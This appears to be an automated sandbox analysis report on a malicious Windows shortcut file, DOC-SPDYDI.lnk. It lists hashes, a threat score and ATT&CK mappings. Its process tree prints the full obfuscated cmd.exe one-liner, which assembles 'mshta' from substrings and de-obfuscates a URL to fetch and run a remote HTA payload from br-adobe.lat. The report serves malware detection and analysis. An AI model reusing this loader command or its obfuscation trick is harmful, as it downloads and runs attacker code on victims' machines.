3ea60cd1cee5536f1a0ffb6a5a63140d09769215c326f51d4d9283feb36e1d6b

Analysis

max time kernel
148s
max time network
117s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-SPDYDI.lnk
Size 2KB
Sample260803-qfx7asaa73
SHA256 3ea60cd1cee5536f1a0ffb6a5a63140d09769215c326f51d4d9283feb36e1d6b
MD5 581484949e33dc19fd493f5f4c4c0c17
SHA1 86a639e1ced4da7ba6ef5721ecd977ae0bfe1f96
SHA512 29c8cf81f6272578297c407c3fba203b1fc5cbc408032f551157dc55dc8ccf538ab8c9861961f54fc0be4e3d45d677ac3a1e1bcd5b3bdd602ac66c896541683e
TLSH
T1475124902AE40599F3BB4E36E8FE63444DBBF9616DB0C58E0810824E1C22B45E976B37
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://br-adobe.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6012	cmd.exe
1884	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 6012 wrote to memory of 1884	6012	cmd.exe	90
PID 1884 wrote to memory of 3324	1884	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-SPDYDI.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6012
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set sI=winhnkggjlgktyusoyvmgchrtxwin&&set dCZ=systshuofonuoizfctahtxsys&&set dhzY=dbguaftvyyznifbdbg&&set gRpRg=winfycndfuskqwin&&set kcXzT=datcigictzpatbldat&&set Sfkk=j4ustyis&&set QoCbq=btjart3p&&set EIk=cacheowkpdzzdwgsxdzchtcache&&set wUI=dbgbwupdbg&&set sc=sysicraswhsxntckndpucdsys&&set HBZM=dbgreonstsrlkelkdughlaedbg&&set JIo=neteffjdnksnsrctmnet&&set TJOS=cacheamyqcoripliucache&&set gd=crm590&&set UHY=kshtal&&set vW=ht@tp@s://br@-@ado@b@e@.@la@t/h@/es@t@[email protected]@?r=3607@6@1F157@94&&start /b !gd:~2,1!!UHY:~1,4! !vW:@=!&&set fRrON=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1884
- - C:\Windows\System32\mshta.exe
    mshta https://br-adobe.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:3324

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads